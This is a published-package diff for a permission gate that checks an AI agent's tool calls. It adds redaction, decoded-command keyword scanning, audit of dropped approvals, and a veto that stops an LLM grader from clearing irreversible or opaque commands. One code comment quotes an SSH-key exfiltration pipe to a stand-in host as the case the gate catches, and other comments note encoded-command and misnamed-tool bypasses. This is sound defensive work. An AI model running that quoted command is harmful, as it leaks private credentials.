dsh-perm-gate 5.1.2-compat.7 → 5.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/lib/runtime.js CHANGED
@@ -9,6 +9,7 @@
9
9
  * live harness.
10
10
  */
11
11
  import { readFileSync } from 'node:fs';
12
+ import { createHash } from 'node:crypto';
12
13
  import { makeEntry, MemoryAuditMirror } from './audit.js';
13
14
  import { resolvePermissiveStrategies } from './config.js';
14
15
  import { appendAllowCommand, listAllowCommands, listAllowFromRulesDoc, replaceAllowCommands } from './allowlist.js';
@@ -18,7 +19,10 @@ import { decideRules } from './evaluate.js';
18
19
  import { canonicalizeCall, GrantRegistry } from './grant.js';
19
20
  import { learnKey, operationFingerprint, RiskLearning } from './learning.js';
20
21
  import { ArtifactRegistry } from './path.js';
21
- import { classifyRisk, classifyRiskWith } from './risk.js';
22
+ import { classifyRisk, classifyRiskWith, RISK_SYSTEM_PROMPT_VERSION } from './risk.js';
23
+ import { askDoubtKinds, buildAskContext, humanBrief, humanCardLine, humanCommand, toEventFields } from './ask-context.js';
24
+ import { redactCommandText } from './redact.js';
25
+ import { executableVariants, normalizeCommandText } from './command-normalize.js';
22
26
  import { completeViaHost, DEFAULT_HOST_MODEL } from './host-llm.js';
23
27
  import { chatCompletion } from './classifier.js';
24
28
  import { compileDocument, compileRulesObject, documentHash, extractPathCandidates, parsePermissionsDocument, } from './rule.js';
@@ -485,6 +489,11 @@ export class PermGateRuntime {
485
489
  * happens *while* the shell tool call is executing.
486
490
  */
487
491
  async askNetwork(target, reason, timeoutMs) {
492
+ // The reason is built by callers from the target and the rule text, and it goes
493
+ // to the human's popup *and* the audit mirror — so anything credential-shaped
494
+ // in it is masked here, once, rather than in each caller. The grant key below
495
+ // still uses the raw target, so session memory is unaffected.
496
+ const shown = redactCommandText(reason);
488
497
  const attribution = this.currentAttribution();
489
498
  if (attribution === undefined || attribution.agent === undefined) {
490
499
  // Unattributable traffic cannot ride the approval seam — fail closed.
@@ -520,7 +529,15 @@ export class PermGateRuntime {
520
529
  agent: attribution.agent,
521
530
  toolName: attribution.tool,
522
531
  ...(attribution.callId !== undefined ? { callId: attribution.callId } : {}),
523
- reason,
532
+ reason: shown,
533
+ // Presentation-only, never persisted into the audit pair. The raw
534
+ // `reason` is written for the rule layer; this says who asked and what
535
+ // each button costs, which is what a person actually needs to decide.
536
+ displayReason: {
537
+ en: `${shown}\nAsked by a subprocess of tool "${attribution.tool}"`
538
+ + `${attribution.callId === undefined ? '' : ` (call ${attribution.callId})`} on its way out.`
539
+ + ' Denying blocks this connection only; allowing is remembered for this session, not globally.',
540
+ },
524
541
  signal: controller.signal,
525
542
  }),
526
543
  timedOut,
@@ -723,6 +740,13 @@ export class PermGateRuntime {
723
740
  * allow path (deny wins over allow). Purely additive to P0 — it can only ever
724
741
  * deny, never widen. Matching is boundary-aware and skips document bodies, so
725
742
  * a keyword can no longer veto an unrelated identifier or a file's text.
743
+ *
744
+ * Decoded layers are scanned too (B6 wiring). An `-EncodedCommand` blob is
745
+ * invisible to every keyword below, and this layer — unlike P0 — is a blacklist
746
+ * the user edits, so "the text you told me to refuse is in there" is exactly
747
+ * what it should be able to say. Only variants the visible command really hands
748
+ * to an execution primitive qualify, and no decoded text is written back to the
749
+ * call, the reason, or the event: the reason names the keyword, never the blob.
726
750
  */
727
751
  denyKeywordHit(exec) {
728
752
  const keywords = this.liveDenyKeywords();
@@ -731,10 +755,18 @@ export class PermGateRuntime {
731
755
  const text = denyScanText(exec);
732
756
  if (text === '')
733
757
  return undefined;
758
+ const haystacks = [text];
759
+ if (typeof exec.commandText === 'string' && exec.commandText !== '') {
760
+ for (const variant of executableVariants(normalizeCommandText(exec.commandText))) {
761
+ if (!haystacks.includes(variant))
762
+ haystacks.push(variant);
763
+ }
764
+ }
734
765
  for (const keyword of keywords) {
735
766
  if (String(keyword).trim() === '')
736
767
  continue;
737
- if (keywordMatcher(String(keyword)).test(text))
768
+ const matcher = keywordMatcher(String(keyword));
769
+ if (haystacks.some((h) => matcher.test(h)))
738
770
  return keyword;
739
771
  }
740
772
  return undefined;
@@ -757,6 +789,11 @@ export class PermGateRuntime {
757
789
  files: extra.files ?? eventFiles(exec),
758
790
  learningCount: extra.learningCount,
759
791
  threshold: extra.threshold,
792
+ inputDigest: extra.inputDigest,
793
+ promptVersion: extra.promptVersion,
794
+ humanBrief: extra.humanBrief,
795
+ humanCommand: extra.humanCommand,
796
+ doubtKinds: extra.doubtKinds,
760
797
  baseDir: cwdOf(exec),
761
798
  });
762
799
  }
@@ -767,11 +804,18 @@ export class PermGateRuntime {
767
804
  : `fp:${canonicalizeCall(exec.name, exec.arguments ?? {})}`;
768
805
  }
769
806
  /** Remember one ask so either settlement channel can record its terminal answer. */
770
- trackAsk(exec, reason, learningKey) {
807
+ trackAsk(exec, reason, learningKey, askCtx) {
771
808
  if (this.pendingAsks.size >= PENDING_CAP) {
809
+ // Evicting the oldest pending ask silently loses a human decision that was
810
+ // never given: the call settles through `tools/result` against no tracked
811
+ // ask, so it reads as an unanswered approval. Count it and audit it, because
812
+ // more popup traffic makes this the failure mode most likely to bite.
772
813
  const oldest = this.pendingAsks.keys().next();
773
- if (!oldest.done)
814
+ if (!oldest.done) {
815
+ const dropped = this.pendingAsks.get(oldest.value);
774
816
  this.pendingAsks.delete(oldest.value);
817
+ this.recordAskEviction(oldest.value, dropped);
818
+ }
775
819
  }
776
820
  // Generate a synthetic snapshot ID since we no longer record 'ask' events
777
821
  // (they'd pollute the approval record). Snapshots are keyed by this ID.
@@ -785,6 +829,13 @@ export class PermGateRuntime {
785
829
  baseDir: cwdOf(exec),
786
830
  snapshotId,
787
831
  learningKey,
832
+ ...(askCtx === undefined
833
+ ? {}
834
+ : {
835
+ humanBrief: humanBrief(askCtx, 'en'),
836
+ humanCommand: humanCommand(askCtx),
837
+ doubtKinds: askDoubtKinds(askCtx),
838
+ }),
788
839
  };
789
840
  this.pendingAsks.set(this.askKey(exec), pending);
790
841
  // Save pre-change snapshots so the review page can diff/revert later.
@@ -799,10 +850,45 @@ export class PermGateRuntime {
799
850
  untrackAsk(exec) {
800
851
  this.pendingAsks.delete(this.askKey(exec));
801
852
  }
853
+ /**
854
+ * Record that a pending ask was evicted by capacity, so "the popup never came
855
+ * back" is diagnosable instead of silent. Audited rather than fed to the event
856
+ * feed: no new event `kind` is introduced, so nothing can be mis-rendered as an
857
+ * allow by `presentation()`'s default branch.
858
+ */
859
+ recordAskEviction(key, dropped) {
860
+ this.askEvictions += 1;
861
+ const detail = { key, tool: dropped?.tool ?? 'unknown', reason: dropped?.reason ?? '' };
862
+ this.lastAskEviction = detail;
863
+ const now = typeof this.options.now === 'function' ? this.options.now : Date.now;
864
+ this.audit.append(makeEntry({
865
+ callId: key,
866
+ tool: detail.tool,
867
+ outcome: 'ask',
868
+ source: 'default',
869
+ reason: `pending-ask capacity: evicted the oldest unanswered ask (${this.askEvictions} total, cap ${PENDING_CAP})`,
870
+ at: now(),
871
+ }));
872
+ }
802
873
  /** Asks currently awaiting a terminal answer (diagnostics/tests). */
803
874
  pendingAskCount() {
804
875
  return this.pendingAsks.size;
805
876
  }
877
+ /**
878
+ * Pending-ask capacity health: how many asks are in flight, the cap, and how
879
+ * many have been evicted. Surfaces the case where the gate asks more than it can
880
+ * track, which otherwise looks identical to a lost approval.
881
+ */
882
+ pendingAskStats() {
883
+ return {
884
+ size: this.pendingAsks.size,
885
+ cap: PENDING_CAP,
886
+ evictions: this.askEvictions,
887
+ ...(this.lastAskEviction === undefined ? {} : { lastEviction: this.lastAskEviction }),
888
+ };
889
+ }
890
+ askEvictions = 0;
891
+ lastAskEviction;
806
892
  /**
807
893
  * Remember that the gate positively allowed one call, so an approval raised from
808
894
  * inside that same call can be answered from this verdict.
@@ -989,8 +1075,9 @@ export class PermGateRuntime {
989
1075
  if (decision.action === 'ask') {
990
1076
  // Track before returning: the approval observer can settle this ask
991
1077
  // before the call ever reaches `tools/result`.
992
- this.trackAsk(exec, decision.reason);
993
- return { kind: 'ask', reason: decision.reason };
1078
+ const askCtx = this.contextFor(exec, decision.reason);
1079
+ this.trackAsk(exec, decision.reason, undefined, askCtx);
1080
+ return this.askDecision(askCtx, decision.reason);
994
1081
  }
995
1082
  // A genuine allow (grant / rule / classifier / permissive default): remember it
996
1083
  // so a sandbox escalation raised from inside this same call is answered here
@@ -1151,14 +1238,36 @@ export class PermGateRuntime {
1151
1238
  && (cfg?.endpoint === undefined || cfg?.endpoint === '' || cfg?.model === undefined || cfg?.model === '')) {
1152
1239
  return decision;
1153
1240
  }
1154
- // Inject cwd into the risk request so the LLM can see the full path context
1155
- // (e.g. that a Remove-Item targets a temp directory, not user data).
1156
- const riskArgs = { ...(exec.arguments ?? {}) };
1157
- const cwd = cwdOf(exec);
1158
- if (typeof cwd === 'string' && cwd !== '' && typeof riskArgs.cwd !== 'string') {
1159
- riskArgs.cwd = cwd;
1160
- }
1161
- const req = { tool: exec.name, args: riskArgs, reason: decision.reason };
1241
+ // One frozen view of this call, then the grader's projection of it: bounded,
1242
+ // redacted downstream, and carrying the scope anchor its own prompt assumes
1243
+ // but had never been given (`deletion inside the workspace is SAFE` was
1244
+ // unenforceable without it). Tier knobs stay out of the payload on purpose:
1245
+ // feeding them makes the model echo the rule layer instead of judging.
1246
+ const workspace = cwdOf(exec);
1247
+ const askCtx = buildAskContext({
1248
+ tool: exec.name,
1249
+ args: exec.arguments ?? {},
1250
+ commandText: exec.commandText,
1251
+ cwd: workspace,
1252
+ workspaceRoot: workspace,
1253
+ files: eventFiles(exec),
1254
+ ruleReason: decision.reason,
1255
+ callId: exec.callId,
1256
+ knobs: { permissionPreset: this.presetOf(exec) },
1257
+ // Salted per session: a bare digest of a short command is trivially
1258
+ // dictionary-reversible and would let one event be joined to another
1259
+ // session's. Raw args never reach the log either.
1260
+ salt: sessionIdOf(exec),
1261
+ hash: (text) => createHash('sha256').update(text).digest('hex').slice(0, 16),
1262
+ });
1263
+ const eventFields = toEventFields(askCtx);
1264
+ const req = {
1265
+ tool: askCtx.tool,
1266
+ args: askCtx.args ?? {},
1267
+ reason: decision.reason,
1268
+ workspaceRoot: askCtx.workspaceRoot,
1269
+ targetResolvable: askCtx.targetResolvable,
1270
+ };
1162
1271
  let risk;
1163
1272
  if (this.options.riskHook !== undefined) {
1164
1273
  risk = await this.options.riskHook(req);
@@ -1170,10 +1279,37 @@ export class PermGateRuntime {
1170
1279
  else {
1171
1280
  risk = await classifyRisk(cfg ?? {}, req);
1172
1281
  }
1282
+ // Opaque payload: the grader may not clear what it cannot see. Checked here,
1283
+ // ahead of the `safe` branch, as a deterministic veto over the model rather
1284
+ // than a category it is asked to pick — an over-confident `safe` must not
1285
+ // auto-allow an `-EncodedCommand` blob or an unreadable script out of workspace.
1286
+ // Same veto for an unlearnable act (`docker volume rm`): the data is gone for
1287
+ // good, yet refusing outright would be unappealable for a command people run
1288
+ // on purpose, so the human decides and nothing is ever learned.
1289
+ //
1290
+ // And the third shape is the one the pipe teaches: `cat ~/.ssh/id_rsa | curl
1291
+ // -d @- https://x` splits into segments, so no single segment carries both the
1292
+ // secret and the outbound channel — the *rule* layer only sees the pair when
1293
+ // the whole call is read at once, which is what the tier does. Wherever the
1294
+ // deterministic layer has graded the act irreversible, a probabilistic `safe`
1295
+ // must not be able to clear it; ask instead, and never sediment it. This is a
1296
+ // veto over the model, never a deny: the human keeps the decision.
1297
+ if (askCtx.reversibility === 'I' || askCtx.unlearnable || !askCtx.targetResolvable) {
1298
+ if (risk.kind !== 'unresolved') {
1299
+ const why = askCtx.unlearnable
1300
+ ? 'data=unrecoverable → ask, never learned'
1301
+ : askCtx.reversibility === 'I'
1302
+ ? 'irreversible by rule → ask'
1303
+ : 'payload=opaque → ask';
1304
+ const vetoReason = `${decision.reason} [${why}, grader said ${risk.kind}] · ${humanCardLine(askCtx)}`;
1305
+ this.trackAsk(exec, vetoReason, undefined, askCtx);
1306
+ return this.askDecision(askCtx, vetoReason);
1307
+ }
1308
+ }
1173
1309
  if (risk.kind === 'safe') {
1174
1310
  const reason = `llm-assist risk: safe${risk.reason === undefined ? '' : ` (${risk.reason})`}`;
1175
1311
  this.audit.append(makeEntry({ callId: randomId(), tool: exec.name, outcome: 'allow', source: 'classifier', reason, at: Date.now() }));
1176
- this.recordEvent(exec, 'auto', reason, { risk: 'safe', verdict: 'llm-safe' });
1312
+ this.recordEvent(exec, 'auto', reason, { risk: 'safe', verdict: 'llm-safe', inputDigest: eventFields.inputDigest, promptVersion: RISK_SYSTEM_PROMPT_VERSION });
1177
1313
  this.untrackAsk(exec); // auto-allowed: no human answer is coming
1178
1314
  this.clearCall(exec, reason, 'llm-safe', 'classifier');
1179
1315
  return undefined;
@@ -1194,9 +1330,9 @@ export class PermGateRuntime {
1194
1330
  // Hard categories stay distinct from `neutral` in one way that matters:
1195
1331
  // they are NEVER learnable, so repeated confirmations cannot sediment
1196
1332
  // them into an auto-allow.
1197
- const hardReason = `${decision.reason} [llm-assist risky:${risk.category} → ask]`;
1198
- this.trackAsk(exec, hardReason, undefined);
1199
- return { kind: 'ask', reason: hardReason };
1333
+ const hardReason = `${decision.reason} [llm-assist risky:${risk.category} → ask] · ${humanCardLine(askCtx)}`;
1334
+ this.trackAsk(exec, hardReason, undefined, askCtx);
1335
+ return this.askDecision(askCtx, hardReason, true);
1200
1336
  }
1201
1337
  const learning = this.liveRiskLearning();
1202
1338
  const fp = operationFingerprint(exec.name, exec.arguments ?? {}, exec.commandText);
@@ -1217,14 +1353,65 @@ export class PermGateRuntime {
1217
1353
  }
1218
1354
  this.pending.set(canonicalizeCall(exec.name, exec.arguments ?? {}), { key, fp, ctx: decision.reason });
1219
1355
  }
1220
- const neutralReason = `${decision.reason} [llm-assist risky:neutral]`;
1356
+ const neutralReason = `${decision.reason} [llm-assist risky:neutral] · ${humanCardLine(askCtx)}`;
1221
1357
  // The refined reason supersedes the raw ask, and the candidate key lets the
1222
1358
  // terminal event report the post-approval learning progress.
1223
- this.trackAsk(exec, neutralReason, learning.enabled ? key : undefined);
1224
- return { kind: 'ask', reason: neutralReason };
1359
+ this.trackAsk(exec, neutralReason, learning.enabled ? key : undefined, askCtx);
1360
+ return this.askDecision(askCtx, neutralReason, true);
1225
1361
  }
1226
- // unresolved: keep the ask, learn nothing.
1227
- return decision;
1362
+ // unresolved: keep the ask, learn nothing — and label it. Without a marker
1363
+ // here, "the grader timed out" and "the grader called this risky" reach the
1364
+ // human as the same sentence, so an outage silently impersonates a
1365
+ // security judgement. Tagged via `reason` rather than a new event `kind`,
1366
+ // because `presentation()` maps an unknown kind to a green ALLOW.
1367
+ const unresolvedReason = `${decision.reason} [llm-assist unresolved → ask] · ${humanCardLine(askCtx)}`;
1368
+ this.trackAsk(exec, unresolvedReason, undefined, askCtx);
1369
+ return this.askDecision(askCtx, unresolvedReason);
1370
+ }
1371
+ /**
1372
+ * One frozen view of a call, built the same way for every ask path so the
1373
+ * popup cannot disagree with what the grader was shown.
1374
+ */
1375
+ contextFor(exec, reason) {
1376
+ const workspace = cwdOf(exec);
1377
+ return buildAskContext({
1378
+ tool: exec.name,
1379
+ args: exec.arguments ?? {},
1380
+ commandText: exec.commandText,
1381
+ cwd: workspace,
1382
+ workspaceRoot: workspace,
1383
+ files: eventFiles(exec),
1384
+ ruleReason: reason,
1385
+ callId: exec.callId,
1386
+ knobs: { permissionPreset: this.presetOf(exec) },
1387
+ });
1388
+ }
1389
+ /**
1390
+ * An ask plus the card the human actually needs, in the host's presentation-only field.
1391
+ *
1392
+ * The plan's B4 clause lists five things for the popup — the redacted command,
1393
+ * the files with their true total, the category, the reversibility and the tier
1394
+ * knobs. `reason` alone cannot carry them: it is the audited string, and `REASON_MAX`
1395
+ * truncates at 200 characters. `displayReason` is the host's own channel for
1396
+ * presentation that never enters the audit pair, so the card goes there — starting
1397
+ * with the audited reason (why the gate is asking at all), then the redacted
1398
+ * command, the file list, the language-neutral tokens and the sentence about what
1399
+ * each button costs. Without the command line a person is asked to approve an
1400
+ * operation they cannot read, which is the complaint this task exists to fix.
1401
+ */
1402
+ askDecision(askCtx, reason, modelFlagged = false) {
1403
+ // `reason` stays the audit string: short, English, machine-tokened. Everything a
1404
+ // person reads goes into `displayReason`, which the host resolves by UI locale
1405
+ // (`zh` here; the other seven fall back to `en`) and never persists.
1406
+ const kinds = askDoubtKinds(askCtx, { modelFlagged });
1407
+ return {
1408
+ kind: 'ask',
1409
+ reason,
1410
+ displayReason: {
1411
+ zh: humanBrief(askCtx, 'zh', kinds),
1412
+ en: humanBrief(askCtx, 'en', kinds),
1413
+ },
1414
+ };
1228
1415
  }
1229
1416
  /**
1230
1417
  * Record the human's terminal answer for one tracked ask. This is the primary
@@ -1345,17 +1532,20 @@ export class PermGateRuntime {
1345
1532
  this.recordEvent(exec, 'manual-approved', ask.reason, {
1346
1533
  verdict: 'human-approved',
1347
1534
  files: ask.files,
1535
+ humanBrief: ask.humanBrief,
1536
+ humanCommand: ask.humanCommand,
1537
+ doubtKinds: ask.doubtKinds,
1348
1538
  learningCount,
1349
1539
  threshold: learning.enabled ? learning.threshold : undefined,
1350
1540
  });
1351
1541
  return;
1352
1542
  }
1353
1543
  if (outcome === 'rejected') {
1354
- this.recordEvent(exec, 'manual-rejected', ask.reason, { verdict: 'human-rejected', files: ask.files });
1544
+ this.recordEvent(exec, 'manual-rejected', ask.reason, { verdict: 'human-rejected', files: ask.files, humanBrief: ask.humanBrief, humanCommand: ask.humanCommand, doubtKinds: ask.doubtKinds });
1355
1545
  return;
1356
1546
  }
1357
1547
  if (outcome === 'cancelled') {
1358
- this.recordEvent(exec, 'manual-cancelled', ask.reason, { verdict: 'human-cancelled', files: ask.files });
1548
+ this.recordEvent(exec, 'manual-cancelled', ask.reason, { verdict: 'human-cancelled', files: ask.files, humanBrief: ask.humanBrief, humanCommand: ask.humanCommand, doubtKinds: ask.doubtKinds });
1359
1549
  return;
1360
1550
  }
1361
1551
  // `unavailable`: no human was involved — the ask degraded to a denial.
@@ -0,0 +1,43 @@
1
+ /**
2
+ * The harness tool-name lists, in one place.
3
+ *
4
+ * These sets used to live inside `engine.ts` / `evaluate.ts`, which meant the
5
+ * question "is this call an executed command?" had two answers depending on which
6
+ * file asked it. It now has one, in `commandBearingCall`.
7
+ *
8
+ * Why not a name whitelist for executors: the agent mis-types tool names (today's
9
+ * log has `Error: unknown tool "pash"`), plugins register their own runners, and a
10
+ * future line may rename `shell`. A call that carries a command string and is not
11
+ * a *known* non-executor must be judged as a command call — the whitelist direction
12
+ * was a bypass, not a safety margin.
13
+ */
14
+ /** Names the harness uses for "run this shell command". */
15
+ export declare const SHELL_TOOLS: Set<string>;
16
+ /** File mutation tools: they write paths, they do not execute their arguments. */
17
+ export declare const WRITE_TOOLS: Set<string>;
18
+ /**
19
+ * Read-only tools that can never modify the workspace or execute anything. P0
20
+ * still protects sensitive path reads outside the workspace root, and the
21
+ * deny-keyword layer still runs first, so a search whose query contains a
22
+ * blacklisted phrase is still vetoed.
23
+ */
24
+ export declare const READ_TOOLS: Set<string>;
25
+ /** DSH internal coordination / management tools — not workspace-modifying. */
26
+ export declare const INTERNAL_TOOLS: Set<string>;
27
+ /**
28
+ * Tools whose `command`-shaped argument is **data, not an action**.
29
+ *
30
+ * `read` receives a search string under several keys, `write` may carry a script
31
+ * body; parsing those as shell text would deny a file read because a document
32
+ * happens to quote `git push --force`. Everything *outside* this set is treated as
33
+ * a possible executor when it carries a command string.
34
+ */
35
+ export declare const NON_EXECUTOR_TOOLS: ReadonlySet<string>;
36
+ /** The command string one call carries, under any of the names runners use. */
37
+ export declare function commandArgOf(args: Record<string, unknown> | undefined): string | undefined;
38
+ /**
39
+ * The command a call actually executes, or `undefined` when the call is not a
40
+ * command call. Known non-executors are exempt; anything else with a command
41
+ * string is judged as a command (fail-closed toward inspection, never toward allow).
42
+ */
43
+ export declare function executableCommandOf(tool: string, args: Record<string, unknown> | undefined): string | undefined;
@@ -0,0 +1,85 @@
1
+ /**
2
+ * The harness tool-name lists, in one place.
3
+ *
4
+ * These sets used to live inside `engine.ts` / `evaluate.ts`, which meant the
5
+ * question "is this call an executed command?" had two answers depending on which
6
+ * file asked it. It now has one, in `commandBearingCall`.
7
+ *
8
+ * Why not a name whitelist for executors: the agent mis-types tool names (today's
9
+ * log has `Error: unknown tool "pash"`), plugins register their own runners, and a
10
+ * future line may rename `shell`. A call that carries a command string and is not
11
+ * a *known* non-executor must be judged as a command call — the whitelist direction
12
+ * was a bypass, not a safety margin.
13
+ */
14
+ /** Names the harness uses for "run this shell command". */
15
+ export const SHELL_TOOLS = new Set(['shell', 'terminal', 'bash', 'pwsh', 'sh', 'cmd', 'powershell']);
16
+ /** File mutation tools: they write paths, they do not execute their arguments. */
17
+ export const WRITE_TOOLS = new Set(['write', 'edit']);
18
+ /**
19
+ * Read-only tools that can never modify the workspace or execute anything. P0
20
+ * still protects sensitive path reads outside the workspace root, and the
21
+ * deny-keyword layer still runs first, so a search whose query contains a
22
+ * blacklisted phrase is still vetoed.
23
+ */
24
+ export const READ_TOOLS = new Set([
25
+ 'read', 'read_image', 'grep', 'glob', 'ls', 'lsp',
26
+ // Search / lookup: every one of these only READS. `web_search` and
27
+ // `modlens_read_image` also reach the network, but through DSH's own client
28
+ // rather than a subprocess — see the network note below.
29
+ 'web_search', 'modlens_read_image',
30
+ 'advanced_search', 'platform_search', 'free_search_test',
31
+ // Session-scoped reads: they disclose already-recorded state, never mutate.
32
+ 'context_compression_retrieve', 'memory_search_graph', 'memory_expand_graph_node',
33
+ ]);
34
+ /** DSH internal coordination / management tools — not workspace-modifying. */
35
+ export const INTERNAL_TOOLS = new Set([
36
+ // AgentTeams coordination
37
+ 'agent_teams_create', 'agent_teams_add_member', 'agent_teams_remove_member',
38
+ 'agent_teams_delete', 'agent_teams_edit_plan', 'agent_teams_reassign_task',
39
+ 'agent_teams_claim_task', 'agent_teams_create_task', 'agent_teams_send_message',
40
+ 'agent_teams_approve', 'agent_teams_resume',
41
+ // AgentTeams status reads
42
+ 'agent_teams_status', 'agent_teams_update_task',
43
+ // DSH session/memory/goal/taskboard management. The memory store is the
44
+ // agent's own state, not the workspace: writing it is not a workspace write.
45
+ 'conversation_search',
46
+ 'memory_add', 'memory_delete', 'memory_read_scene', 'memory_search',
47
+ 'memory_import', 'memory_ruminate', 'memory_ruminate_cancel', 'memory_ruminate_status',
48
+ 'get_goal', 'update_goal', 'create_goal',
49
+ 'taskboard_get', 'taskboard_list', 'taskboard_claim', 'taskboard_block',
50
+ 'taskboard_comment', 'taskboard_release_claim', 'taskboard_submit_review',
51
+ 'taskboard_relate',
52
+ // Job/agent management
53
+ 'job_list', 'job_output', 'job_kill',
54
+ 'list_agents', 'interrupt_agent', 'send_message',
55
+ // Session-local UI / plan / todo state (no workspace write, no execution)
56
+ 'todo_write', 'render_ui', 'validate_dsh_ui', 'ask_user_question', 'exit_plan_mode',
57
+ // Background / planning delegation (the delegated work is gated separately)
58
+ 'subagent', 'subagent_fork', 'ralph', 'workflow', 'skill',
59
+ ]);
60
+ /**
61
+ * Tools whose `command`-shaped argument is **data, not an action**.
62
+ *
63
+ * `read` receives a search string under several keys, `write` may carry a script
64
+ * body; parsing those as shell text would deny a file read because a document
65
+ * happens to quote `git push --force`. Everything *outside* this set is treated as
66
+ * a possible executor when it carries a command string.
67
+ */
68
+ export const NON_EXECUTOR_TOOLS = new Set([...READ_TOOLS, ...INTERNAL_TOOLS, ...WRITE_TOOLS]);
69
+ /** The command string one call carries, under any of the names runners use. */
70
+ export function commandArgOf(args) {
71
+ for (const key of ['command', 'cmd', 'script']) {
72
+ const value = args?.[key];
73
+ if (typeof value === 'string' && value.trim() !== '')
74
+ return value;
75
+ }
76
+ return undefined;
77
+ }
78
+ /**
79
+ * The command a call actually executes, or `undefined` when the call is not a
80
+ * command call. Known non-executors are exempt; anything else with a command
81
+ * string is judged as a command (fail-closed toward inspection, never toward allow).
82
+ */
83
+ export function executableCommandOf(tool, args) {
84
+ return NON_EXECUTOR_TOOLS.has(tool) ? undefined : commandArgOf(args);
85
+ }
package/package.json CHANGED
@@ -1,8 +1,8 @@
1
1
  {
2
2
  "name": "dsh-perm-gate",
3
- "version": "5.1.2-compat.7",
3
+ "version": "5.1.2",
4
4
  "publishConfig": {
5
- "tag": "compat"
5
+ "tag": "latest"
6
6
  },
7
7
  "description": "DSH permission-gate for the DeepSeek Harness 0.1.5 line: a single self-sufficient, deterministic-first, fail-closed gate covering P0 hard-deny -> P1 session grant -> P2 static rule (allow/deny) chain -> P3 optional LLM semantic classifier -> P4 ask, with command whitelist/blacklist.",
8
8
  "type": "module",